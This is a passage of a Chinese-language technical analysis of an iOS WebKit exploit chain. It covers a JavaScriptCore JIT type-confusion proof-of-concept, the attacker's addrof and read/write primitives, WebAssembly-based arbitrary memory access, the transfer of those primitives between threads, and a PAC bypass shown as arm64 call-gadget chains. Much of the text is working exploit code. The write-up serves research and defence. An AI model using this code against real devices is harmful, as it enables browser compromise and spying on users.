    // 原始漏洞利用这样做 - 我假设是为了在这里强制类型检查而不是稍后做 - 但我可以移除它仍然崩溃
    /*&#34;uo&#34; in obj;*/
    let typeConfused = obj.p1; // JIT 编译器假设 typeConfused 是一个包含两个浮点数的数组
    if (useS3) typeConfused = floatArrWProp2;
    f64Arr[0] = typeConfused[1]; // 由于上面的假设，这是一个简单的存储
    i32Arr[0] = i32Arr[0] + 16;
    typeConfused[1] = f64Arr[0]; // 这也是一个简单的存储

    // 再次减慢编译器
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;

}

// 现在他们需要 JIT 这个函数
const jitIterTotal = 0x1000000;
const jitIterTrain = 0x20000;
for (let jitIterCnt = 0; jitIterCnt &lt; jitIterTotal; jitIterCnt++) {
    if (jitIterCnt &gt; jitIterTrain) {
        // 强制编译
        toJIT(false,true);
    }else{
        // 训练
        toJIT(jitIterCnt % 2 &amp;&amp; jitIterCnt &lt; 256, jitIterCnt &gt; 4096);
    }
    if (jitIterCnt == jitIterTrain) {
        delete structS1.p2;
        // print(&#34;structS1.p2 删除后&#34;); print(describe(structS1)); print(describe(structS3));
        // 43216 / 43552
    }
}

// 现在函数有望被错误编译
for (let t = 0; t &lt; 0x100000; t++) new Array(13.37, 13.37, 13.37, 13.37); // 强制 GC（假设因为调用 gc() 也可以）
delete structS1.p1; // 完全剥离签名？
//print(&#34;structS1.p1 删除后&#34;); print(describe(structS1)); print(describe(structS3));
// 43328 / 43552
structS1.p1 = fakeFloatArr;
// print(&#34;structS1.p1 赋值后&#34;); print(describe(structS1)); print(describe(structS3));
// 43440 / 43552
structS1.p2 = 1;
// print(&#34;structS1.p2 赋值后&#34;); print(describe(structS1)); print(describe(structS3));
// 43552 / 43552
// 此时 structS1 又是 structS3 了，所以我们可以调用函数而不会进入慢路径
toJIT(false,false); // 如果一切顺利，这将损坏 fakeFloatArr[1] 使其指向 victimObj+0x10 而不是 victimObj

// 现在强制崩溃
let converter32 = new Uint32Array(2);
let converterFloat = new Float64Array(converter32.buffer);
let i32objtofloat = function (t) {converter32[0] = t[0]; converter32[1] = t[1] - 0x20000; return converterFloat[0]}
victimObj.prop1 = i32objtofloat([201527, 16783110]); // 有效的 JS 对象头部？
JSON.stringify(structS1) // 只是触发崩溃</code></pre><p>并通过以下方式调用：</p><pre><code class="language-text" data-language="text">DYLD_FRAMEWORK_PATH=./272535@main/Release/ ./272535@main/Release/jsc poc.js</code></pre><h4 id="324-zai-cassowary-mo-kuai-zhong-de-ji-cheng">3.2.4. 在 cassowary 模块中的集成</h4><p>cassowary 模块包含两个函数：一个导出函数用于执行单次漏洞利用尝试，另一个是包含实际漏洞利用及所有相关代码的主函数。这个较大的函数包含：</p><ul><li>相关偏移量</li><li>一个根据 iOS 版本更改偏移量的函数</li><li>辅助函数</li><li>一个包含实际漏洞利用的大函数</li><li>一个在后台工作线程中运行漏洞利用的函数</li><li>一个读写类</li><li>一个处理 64 位数字的类</li><li>主代码：检测是否在工作线程中运行，如果不是则创建一个，然后在其内部运行漏洞利用</li></ul><p>使用工作线程的目的可能是为漏洞利用提供一个干净的执行环境，以提高确定性，并允许通过重启工作线程轻松重试。在工作线程中获得读写原语后，它通过损坏主线程的栈将其传输到主线程（稍后详述），这非常巧妙，而且不会给设计增加太多复杂性，所以我认为他们使用工作线程的决定是合理的。</p><p>内部漏洞利用函数包含辅助函数和五个主要函数：</p><ul><li>触发漏洞并获取未对齐指针（在上一节中描述）</li><li>利用它获得早期读写能力</li><li>将早期读写升级为稳定读写</li><li>测试读写原语</li><li>清理</li><li>将读写原语导出到主线程</li></ul><h4 id="325-cong-wei-dui-qi-zhi-zhen-huo-de-zao-qi-du-xie-neng-li">3.2.5. 从未对齐指针获得早期读写能力</h4><p>他们从类型混淆中获得的未对齐指针现在指向 victimObj 的 prop1 和 prop2，访问它意味着引擎将 prop1 解释为伪造的 JSCell 头部，将 prop2 解释为对象的 butterfly 指针。这基本上是一个经典的 fakeobj 原语。</p><p>由此，漏洞利用将通过创建一个伪造的浮点数组对象（通过 prop1 中的伪造 JSCell 头部）来创建 addrof 原语，该对象有一个 butterfly 指针指向另一个 JS 对象（通过将 prop2 设置为 targetObj）。然后对伪造浮点数组的任何元素访问都将跟随 butterfly 指针到 targetObj 并允许在其上进行读写。对于 addrof，攻击者只需将一个对象放入 targetObj 的内联属性之一，然后从伪造浮点数组中的该索引读取以获取对象的地址。</p><p>然而实际情况并非如此简单，因为引擎可能会执行检查并拒绝伪造的浮点数组。因此，漏洞利用实际上围绕其 JIT 编译的函数构建 addrof 原语，以规避这些检查。这也带来了次要收益：提供相对越界写入原语：</p><pre><code class="language-text" data-language="text">function jittedWriter(t, n) {
    let r = exploit_module.gRWArray1[0];
    f64_arrbuf7[0] = r[2];
    f64_arrbuf7[1] = r[4];
    f64_arrbuf7[2] = r[5];
    f64_arrbuf7[3] = r[0];
    f64_arrbuf7[4] = r[1];
    r = exploit_module.gRWArray1[2];
    r[t] = n
}</code></pre><p>他们从 <code>exploit_module.gRWArray1[0]</code> 复制 5 个浮点数到另一个全局数组，然后向 <code>exploit_module.gRWArray1[2]</code> 的任意索引写入一个浮点数。</p><p>我假设使用这些索引的原因是为了防止 JIT 同时加载 <code>gRWArray1[0]</code> 和 <code>gRWArray1[2]</code>，或将 5 次加载优化为向量加载。</p><p>他们在索引 0 和 2 都是训练对象时 JIT 这个函数：</p><pre><code class="language-text" data-language="text">let training_obj_mbe = {p1: 1, p2: 1, length: 16};
Array.prototype.fill.call(training_obj_mbe, 1.1);
[...]
exploit_module.gRWArray1[0] = training_obj_mbe;
exploit_module.gRWArray1[2] = training_obj_mbe;
for (let t = 0; t &lt; 0x100000; t++) jittedWriter(1, 1.1);</code></pre><p>然后他们创建这个 addrof 函数：</p><pre><code class="language-text" data-language="text">m.addrof = function(n) { // po
    targetObj.b1 = n; // 在 butterfly 中设置对象
    exploit_module.gRWArray1[2] = training_obj_mbe; // 避免 obj 2 的副作用（该函数是双用途的）
    jittedWriter(1, 1.1); // 触发
    return f64_to_num(f64_arrbuf7[0]) // 现在他们可以从数组中读取浮点数然后将其转换回数字
};</code></pre><p>这个函数操作一个特别损坏的 <code>exploit_module.gRWArray1[0]</code>，其设置如下：</p><pre><code class="language-text" data-language="text">exploit_module.gRWArray1[0] = exploit_module.type_confused_float_arr[1];
exploit_module.type_confused_float_arr[1] = null;</code></pre><p>其中 <code>type_confused_float_arr[1]</code> 是上一阶段中偏移 +0x10 的指针，指向对象的属性，允许他们伪造任意的 JS Cell 头部。</p><p>我们有一个未对齐指针指向的对象的设置如下：</p><pre><code class="language-text" data-language="text">var fakeHdr = exploit_module.hdr2float([0x31337, 0x1001706]); // m_indexingTypeAndMisc: 6 (NonArrayWithDouble) m_type: 23 (ObjectType) m_flags: 0, m_cellState: 1 (DefinitelyWhite)
exploit_module.flaky_obj.lo = fakeHdr;
exploit_module.flaky_obj.co = targetObj;</code></pre><p>所以总结一下：此时 <code>exploit_module.gRWArray1[0]</code> 指向 <code>flaky_obj+0x10</code>（得益于上一阶段/漏洞），那里有一个伪造的 JS Cell 头部，结构 ID 为 0x31337，类型标志为 0x1001706，编码为双精度数组，后面跟着一个指向 targetObj 的伪造 butterfly。然后他们有一个操作浮点数组的 JIT 函数，其类型检查会看到伪造头部的类型并通过，然后作为浮点数组访问 butterfly，允许他们将 targetObj 的 b1 属性作为浮点数读取。因此，通过在该属性中存储一个对象，然后调用 JIT 函数，他们可以获得任何 JS 对象的 addrof 原语。</p><p>旁注：<code>hdr2float</code> 特别从头部值的第二部分减去 0x20000，这是因为运行时会将第 49 位设置为”装箱”此值——基本上将其标记为浮点数，代码必须考虑到这一点。</p><p>目标对象被 256 个对象在下方和另外 256 个对象在上方包围。我认为对于这一步，上面的 Eden GC 可能很重要，因为他们需要保证 obj_before_target 或 obj_after_target 紧挨着目标对象，以便后续的读写。</p><p>我不完全理解为什么要在 targetObj 之后再喷射 256 个对象。我认为他们可以用更少的对象就能完成。</p><pre><code class="language-text" data-language="text">exploit_module.tmpOptArr = [];
for (let t = 0; t &lt; 256; t++) exploit_module.tmpOptArr[t] = {a1: 3.14, a2: 1.1};
let targetObj = {b1: exploit_module.ref2};
targetObj[0] = 1.1;
targetObj[1] = 1.1;
targetObj[2] = 1.1;
targetObj[3] = 1.1;
targetObj[4] = 1.1;
for (let t = 256; t &lt; 512; t++) exploit_module.tmpOptArr[t] = {a1: 3.14, a2: 1.1};

// 目标对象前后的两个对象似乎也很重要
let obj_after_target = exploit_module.tmpOptArr[256]; // l
obj_after_target[0] = 1.1;
obj_after_target[1] = 1.1;
obj_after_target[2] = 1.1;
obj_after_target[3] = 1.1;
obj_after_target[4] = 1.1;
let obj_before_target = exploit_module.tmpOptArr[255]; // c
obj_before_target[0] = 1.1;
obj_before_target[1] = 1.1;
obj_before_target[2] = 1.1;
obj_before_target[3] = 1.1;
obj_before_target[4] = 1.1;</code></pre><p>之后他们基于 Float64 数组获得读写能力。这是通过首先获取对象的合法结构 ID 并将其设置在 targetObj 上来完成的。</p><p>之后他们使用 addrof 原语找出哪个对象在 targetObj 后面，并读取浮点数组的地址以及 targetObj 的 butterfly 指针。</p><p>然后他们使用相对越界写入原语损坏与 targetObj 相邻对象的 butterfly 指针，使其指向浮点数组的 butterfly 指针（这样他们就可以覆盖它）。</p><p>最后他们 JIT 两个函数：一个覆盖浮点数组的 butterfly 指针指向任意地址然后从中读取/写入，之后将其重置为 targetObj 的值。同样，我不确定为什么他们决定将浮点数组的 butterfly 指针重置为 targetObj 的值而不是原始值。</p><h4 id="3251-du-xie-han-shu-xiang-xi-fen-xi">3.2.5.1. 读写函数详细分析</h4><p>（点击展开）
读写函数如下，并以如下方式被 JIT 编译：</p><pre><code class="language-text" data-language="text">function read_jit() {
    let float_arr = rw_pair[0];
    let float_arr_obj = rw_pair[1];
    float_arr[2] = 3.3;
    float_arr_obj[0] = f64_arrbuf7[0]; // 要读取的地址
    useless[1] = 3.3;
    f64_arrbuf7[0] = float_arr[0]; // 正在读取的值
    float_arr_obj[0] = f64_arrbuf7[1]; // 重置
    return f64_arrbuf7[0] // 返回读取的值
}
for (let t = 0; t &lt; 1048576; t++) {
    useless = new Array(1, 2, 3);
    read_jit(t + 3.3);
    read_jit(t + .1)
}

function write_jit() {
    let float_arr = rw_pair[0];
    let float_arr_obj = rw_pair[1];
    float_arr[2] = 3.3;
    float_arr_obj[0] = f64_arrbuf7[0];
    useless[1] = 3.3;
    float_arr[0] = f64_arrbuf7[2];
    float_arr_obj[0] = f64_arrbuf7[1]
}
for (let t = 0; t &lt; 1048576; t++) {
    useless = new Array(1, 2, 3);
    write_jit(t + 3.3, 13.37);
    write_jit(t + 3.3, 13.37)
}</code></pre><p>rw_pair 包含 butterfly 指针被损坏的浮点数组和相邻对象，其 butterfly 指针指向该数组的 butterfly 指针。</p><p>我假设 <code>useless</code> 以及对浮点数组本身的访问的原因仅仅是为了生成有利的 JIT 模式。推测他们无法证明 <code>useless</code> 是无副作用的，所以需要在 JIT 中重新加载 butterfly 指针，然后立即重置以避免 GC 问题。</p><p>之后他们升级了读取原语，我假设是为了能够读取所有值，而不仅仅是有效的浮点数。为此他们利用了 butterfly 的长度存储在 butterfly 本身内部这一事实，所以当他们修改数组的 butterfly 指针然后访问数组的 length 属性时，他们获得了一个 32 位读取。这同样是用 JIT 代码完成的，我假设是为了避免运行时检查。此时他们也将 addrof 原语升级为使用读取而不是原始版本，可能同样是为了能够读取所有值。</p><h4 id="3252-32-wei-du-qu-han-shu-xiang-xi-fen-xi">3.2.5.2. 32 位读取函数详细分析</h4><p>（点击展开）
首先他们需要 JIT 获取长度的读取函数：</p><pre><code class="language-text" data-language="text">let read_abused_arr = new Array(4096).fill(13.37);
function jitted_read_abused_arr_len() {
    return read_abused_arr.length
}
for (let t = 0; t &lt; 0x100000; t++) jitted_read_abused_arr_len(t + .1);</code></pre><p>然后他们设置读取：</p><pre><code class="language-text" data-language="text">const read_abused_arr_addr = m.addrof(read_abused_arr);
const read_abused_arr_orig_backend_ptr = m.read(read_abused_arr_addr + 8);
m.stage2_read = function(t) { // Ys
    m.write_v1(read_abused_arr_addr + 8, t + 8);
    let i = jitted_read_abused_arr_len();
    m.write_v1(read_abused_arr_addr + 8, read_abused_arr_orig_backend_ptr);
    return i &gt;&gt;&gt; 0
};</code></pre><p>并且还提供了多个版本的读写原语，读取不同的大小和类型。</p><p>最后他们通过在数组中设置值然后用读取函数读取它们来验证他们的原语，然后用写入函数更改它们并从 JS 中读回。</p><p>至此，读写原语本身已告完成，但他们还需要将这些原语传递给一个读写类。这个类使用 WebAssembly 来进行实际的读写，所以让我们接下来看看这个。</p><h4 id="326-webassembly-du-xie-lei">3.2.6. WebAssembly 读写类</h4><p>wasm 读写类初始化了两个非常简单的 wasm 模块：</p><pre><code class="language-text" data-language="text">(module
(type (;0;) (func (result i64)))
(type (;1;) (func (param i64)))
(func (;0;) (type 0) (result i64)
    global.get 1)
(func (;1;) (type 1) (param i64)
    local.get 0
    global.set 1)
(table (;0;) 1 externref)
(memory (;0;) 1)
(global (;0;) (mut v128) (v128.const i32x4 0x33333333 0x33333333 0x33333333 0x33333333))
(global (;1;) (mut i64) (i64.const -6067004223159161907))
(global (;2;) (mut v128) (v128.const i32x4 0x33333333 0x33333333 0x33333333 0x33333333))
(global (;3;) (mut externref) (ref.null extern))
(global (;4;) (mut externref) (ref.null extern))
(global (;5;) (mut externref) (ref.null extern))
(global (;6;) (mut externref) (ref.null extern))
(global (;7;) (mut externref) (ref.null extern))
(export &#34;edfy&#34; (global 1))
(export &#34;memory&#34; (memory 0))
(export &#34;btl&#34; (func 0))
(export &#34;alt&#34; (func 1)))</code></pre><p>他们定义了两个函数 <code>btl</code> 和 <code>alt</code>，分别读取和写入一个 wasm i64 全局变量。通过已建立的原语，可以将第一个实例的全局值指针设置为第二个实例的全局值指针，然后他们可以将其用于对任意地址的读写。此外，漏洞利用清除了 <code>m_globalsToMark</code> 以避免 GC 触及全局变量并可能导致进程崩溃。从那时起，addrof 原语通过获取 JS 对象的地址（使用旧的 addrof），将一个对象设置到其内联属性中，然后从中读取来工作。</p><p>读写模块然后导出许多有用的函数来读取和写入不同的大小和类型，以及用数字类包装它们以使处理更容易。</p><h4 id="327-jiang-du-xie-zhuan-yi-dao-zhu-xian-cheng">3.2.7. 将读写转移到主线程</h4><p>到目前为止，所有这些都发生在为漏洞利用创建的工作线程中。在那里漏洞利用现在拥有完整的读写能力，但攻击者需要以某种方式将其传输到主线程以继续在那里进行漏洞利用。为此，工作线程向主线程发出信号，然后主线程在主线程上调用以下流程：</p><pre><code class="language-text" data-language="text">const marker_array = JSON.parse((&#34;[0.0, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 10.10]&#34;)); // 他们这样做的原因是为了避免在栈上某处出现 5.5 这个数字
const rw = new rw_module; // c
const com_arr_towards_worker = rw.arr_obj_num_num_prop;
marker_array[0] = rw.numConv.bigint_to_f64(0xdeadn);
marker_array[1] = -0;
com_arr_towards_worker[0] = rw.webasm_instance;
com_arr_towards_worker[1] = rw.wasm_instance2;
const take_primitives = () =&gt; {
    const arr_to_find = [0x55432, com_arr_towards_worker, 0x55432, 0xFF432, marker_array, 0xFF432];
    const recursive_func = (t, ...e) =&gt; {
        try {
            recursive_func(t + 1, ...arr_to_find, ...e)
        } catch (t) {}
    };
    recursive_func(0, arr_to_find);
    if (marker_array[5] !== 6.6) {
        debug_log(&#34;&#34;);
        try {
            debug_log(&#34;&#34;);
            rw.ws = rw.numConv.f64_to_bigint(marker_array[0]);
            rw.ds = rw.numConv.f64_to_bigint(marker_array[1]);
            rw.ys = rw.numConv.f64_to_bigint(marker_array[2]);
            rw.As = rw.numConv.f64_to_bigint(marker_array[3]);
            rw.arr_obj_num_num_prop_addr = rw.numConv.f64_to_bigint(marker_array[4]);
            fingerprint_module.device_properties.rw = rw; // Xn
            t()
        } catch (t) {
            debug_log(t)
        }
    } else window.setTimeout(take_primitives, 0)
};</code></pre><p>代码将循环地把递归函数及其参数压入栈中，直到 marker_array[5] 发生预期中的变化。与此同时，工作线程从 wasm 实例追溯至其 C++ 后端对象，再由此抵达 VM 对象。VM 对象然后方便地存储一个指向栈的指针（<code>m_softStackLimit</code>），工作线程可以从那里使用读写来尝试找到主线程正在推送的标记：</p><pre><code class="language-text" data-language="text">for (let offset = -0x1800n; offset &gt; -0x3000n; offset -= 0x8n) {
    const addr2check = stack_base - offset;
    // 检查是否有标记
    if (_rw.read64(addr2check) == 0xfffe000000055432n &amp;&amp;
        _rw.read64(addr2check + 0x8n * 2n) == 0xfffe000000055432n &amp;&amp;
        _rw.read64(addr2check + 0x8n * 3n) == 0xfffe0000000ff432n &amp;&amp;
        _rw.read64(addr2check + 0x8n * 5n) == 0xfffe0000000ff432n) {</code></pre><p>一旦找到上面名为 <code>arr_to_find</code> 的数组，它就可以从那里读取 <code>com_arr_towards_worker</code> 和 <code>marker_array</code>，然后写入它们的 butterfly 并损坏主线程的两个 wasm 实例以获得读写：</p><pre><code class="language-text" data-language="text">const com_arr_towards_worker = _rw.read64(addr2check + 0x8n * 1n);
const com_arr_towards_worker_butterfly = _rw.read64(com_arr_towards_worker + 0x8n);
const marker_array = _rw.read64(addr2check + 0x8n * 4n);
const marker_array_butterfly = _rw.read64(marker_array + 0x8n);
const wasm_i1 = _rw.read64(com_arr_towards_worker_butterfly);
const wasm_i1_cpp = _rw.read64(wasm_i1 + toBigInt(offsets[webasm_js_to_cpp_instance]));
const wasm_i1_cpp_globals = wasm_i1_cpp + toBigInt(offsets[webasm_cpp_instance_global_0_off]);
const wasm_i2 = _rw.read64(com_arr_towards_worker_butterfly + 0x8n);
const wasm_i2_cpp = _rw.read64(wasm_i2 + toBigInt(offsets[webasm_js_to_cpp_instance]));
const wasm_i2_cpp_globals = wasm_i2_cpp + toBigInt(offsets[webasm_cpp_instance_global_0_off]);

_rw.w64_wrapper(wasm_i2_cpp + toBigInt(offsets[wasm_cpp_gc_mark]), 0x8000000000000000n);
_rw.w64_wrapper(wasm_i1_cpp + toBigInt(offsets[wasm_cpp_gc_mark]), 0x8000000000000000n);
_rw.w64_wrapper(wasm_i1_cpp_globals, wasm_i2_cpp_globals);
_rw.w64_wrapper(marker_array_butterfly + 0x0n, wasm_i2_cpp);
_rw.w64_wrapper(marker_array_butterfly + 0x8n, wasm_i2_cpp_globals);
_rw.w64_wrapper(marker_array_butterfly + 0x10n, wasm_i1_cpp);
_rw.w64_wrapper(marker_array_butterfly + 0x18n, wasm_i1_cpp_globals);
_rw.w64_wrapper(marker_array_butterfly + 0x20n, com_arr_towards_worker);
_rw.w64_wrapper(marker_array_butterfly + 0x28n, 0x0n);</code></pre><p>有了这些，他们终于在主线程上获得了读写能力——真是一段漫长的旅程！</p><p>他们的下一个高层目标是在 WebContent 进程内执行原生代码以运行他们的 LPE，但在加载和链接动态库之前，他们首先需要获得一个函数调用原语。为此，在更新的设备上需要 PAC 绕过，所以让我们接下来看看他们是如何实现这一点的。</p><h3 id="33-webkit-dai-ma-zhi-xing">3.3. WebKit 代码执行</h3><p>本节我们将探讨 PAC 绕过（seedbell_17）。它利用了某些动态库的 const 段可写这一事实，可以覆盖未签名的 GOT 条目，然后触发对其的签名操作，以及他们如何通过 wasm 将其升级为 8 参数函数调用原语。</p><h4 id="331-pac-rao-guo">3.3.1. PAC 绕过</h4><p>一旦漏洞利用获得读写能力，代码执行便返回主模块。现在它将通过从 WebAssembly.Table 和 WebAssembly.Instance 对象获取函数指针并检查它们是否共享相同的高位来检测 PAC。如果不共享，漏洞利用假定 PAC 已启用（这是有道理的，因为 JSC 内的地址应该始终共享相同的高位，但每个指针上的 PAC 位会不同）。之后他们将该指针对齐到页面边界，然后向后扫描 JSC 二进制文件的 MachO 头部（通过 <code>0xFEEDFACF</code> 标识）。一旦找到，他们可以读取 CPU 类型来确定设备是 x86、arm64 还是 arm64e。这是他们最后一次根据 CPU 类型更新设备特定的偏移量，之后他们冻结该对象。</p><p>本次捕获中检测到了 PAC，这意味着他们现在需要获取签名器。</p><p>这是通过选择一个 PAC 绕过（对于此捕获针对 iOS 17.1，即 seedbell_17）然后执行它来完成的，它将把一个签名器类导出回主模块，允许它使用任何密钥和修饰符签名指针。</p><p>对于 seedbell_17，除了主 PAC 绕过模块（<code>29b874a9a6cc9fa9d487b31144e130827bf941bb</code>）之外，他们还将加载一个辅助模块（<code>477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba</code>），该模块由 6 个类组成：</p><ul><li>一个 dyld 共享缓存的包装器，解析其中的所有 MachO，然后导出一个基于路径获取 MachO 的函数</li><li>一个 MachO 包装器，导出获取 MachO 段或符号的能力</li><li>一个处理/解析 dyld 导出链的辅助类</li><li>一个处理内存缓冲区的辅助类，允许你跳过/查找和从缓冲区读取，类似于 Python 中的 io.BytesIO</li><li>一个处理 arm64 汇编的辅助类，用于查找交叉引用、代码序列和解码跳转等</li><li>一个使用其他类来查找 PAC 绕过所需的特定 gadget 的类</li></ul><p>由于原始 seedbell 并未加载这个辅助模块，我推测这是后来添加的——当他们意识到 seedbell 的 gadget 可能会不断变化，希望更便利地解析 dyld 共享缓存以寻找 gadget 时。</p><p>主 PAC 绕过模块然后有 11 个类，它们大致可以分为：</p><ul><li>签名器类和围绕它处理 JS 数字的包装器——这基本上支持使用任何密钥和上下文进行签名，也是导出到链其余部分的类</li><li>提供几种不同限制参数的调用原语的类</li><li>一个通用调用器，可以命名为 WasmJitCageCallPrimitive，因为他们在最终漏洞利用中留下了一个异常字符串</li><li>管理内存的辅助类（free、malloc 等）</li></ul><p>我认为按获得原语的顺序来解释 PAC 绕过模块是有意义的，所以让我们从调用器开始：</p><p>为此他们创建一个 <code>Intl.Segmenter</code> 对象，将其置于准备分割文本的状态，然后修改其内部状态。</p><p>具体来说他们：</p><ul><li>在 RBBIDataWrapper 的 fForwardTable 中创建一个伪造的匹配数组以保证调用访问文本</li><li>用他们想要调用的 PACIZA 指针覆盖访问函数</li><li>用他们想要用 PACIZA 指针调用的 x1 值覆盖 fText_chunkNativeLimit</li><li>执行 <code>segment_iter.next().value;</code> 来触发调用</li><li>恢复表和 PACIZA 函数指针数组对象</li></ul><p>为此他们需要几个内存缓冲区，在这个阶段他们通过创建一个数组缓冲区然后操作其后端存储来获取它们。</p><p>至此，他们获得了一个可完全控制 x1 的 PACIZA 调用原语。基于此他们获得了另外两个原语：一个提供任意 x0、x1 和 x2 的调用原语，另一个可以用任意 x0、x1、x2 和 x3 调用任意 PACIZA 指针，但 x0 和 x1 是相同的值。在这两个新原语中，他们还通过将返回值存储到内存并在调用后读回来获取调用的返回值。</p><h4 id="3311-zao-qi-paciza-yuan-yu-de-diao-yong-lian">3.3.1.1. 早期 PACIZA 原语的调用链</h4><p>（点击展开）
对于前者，使用以下调用链：</p><pre><code class="language-text" data-language="text">_autohinter_iterator_end:
c10000b4  cbz x1, 0x18
221040f9  ldr x2, [x1, 0x20] - enet_allocate_packet_payload_default
820000b4  cbz x2, 0x18
200440f9  ldr x0, [x1, 8] - buf5_80
211840f9  ldr x1, [x1, 0x30] - buf4_768
5f081fd6  braaz x2
c0035fd6  ret

enet_allocate_packet_payload_default:
7f2303d5  pacibsp
f44fbea9  stp x20, x19, [sp, -0x20]!
fd7b01a9  stp x29, x30, [sp, 0x10]
fd430091  add x29, sp, 0x10
f30300aa  mov x19, x0
48100fb0  adrp x8, 0x1e209000
086d41f9  ldr x8, [x8, 0x2d8]
e00301aa  mov x0, x1 - buf4_768
1f093fd6  blraaz x8 - _HTTPConnectionFinalize
f40300aa  mov x20, x0
800000b5  cbnz x0, 0x38
48100fb0  adrp x8, 0x1e209000
087541f9  ldr x8, [x8, 0x2e8]
1f093fd6  blraaz x8 - xmlSAX2GetPublicId_ref
740a00f9  str x20, [x19, 0x10] - 存储到 buf5_80+0x10
fd7b41a9  ldp x29, x30, [sp, 0x10]
f44fc2a8  ldp x20, x19, [sp], 0x20
ff0f5fd6  retab

_HTTPConnectionFinalize: // 其中有一些 CFRelease 调用等被跳过了，因为指针为空（为可读性省略）
PACIBSP
STP             X20, X19, [SP,#-0x10+var_10]!
STP             X29, X30, [SP,#0x10+var_s0]
ADD             X29, SP, #0x10
MOV             X19, X0
LDR             X8, [X0,#0x40]
CBZ             X8, loc_192E60A8C
LDR             X1, [X19,#0x28]
MOV             X0, X19
BLRAAZ          X8

LDR             X0, [X19,#0x138] ; cf
CBNZ            X0, loc_192E60AD0
LDR             X8, [X19,#0x158]
CBZ             X8, loc_192E60AF4
LDR             X0, [X19,#0x148]
BLRAAZ          X8

                        ; CODE XREF: __HTTPConnectionFinalize+84↑j
LDR             X8, [X19,#0x178] - _autohinter_iterator_begin_paciza
LDR             W0, [X19,#0x88] ; int
CBZ             X8, loc_192E60B20
LDP             X1, X2, [X19,#0x180] - x1/buf1_80
LDR             X3, [X19,#0x190] - 0x1CCCCCCC
BLRAAZ          X8

                        ; CODE XREF: __HTTPConnectionFinalize+C4↓j
                        ; __HTTPConnectionFinalize+D0↓j ...
MOV             W8, #0xFFFFFFFF
STR             W8, [X19,#0x88]

                        ; CODE XREF: __HTTPConnectionFinalize:loc_192E60B20↓j
LDP             X29, X30, [SP,#0x10+var_s0]
LDP             X20, X19, [SP+0x10+var_10],#0x20
RETAB

_autohinter_iterator_begin:
c20000b4  cbz x2, 0x18
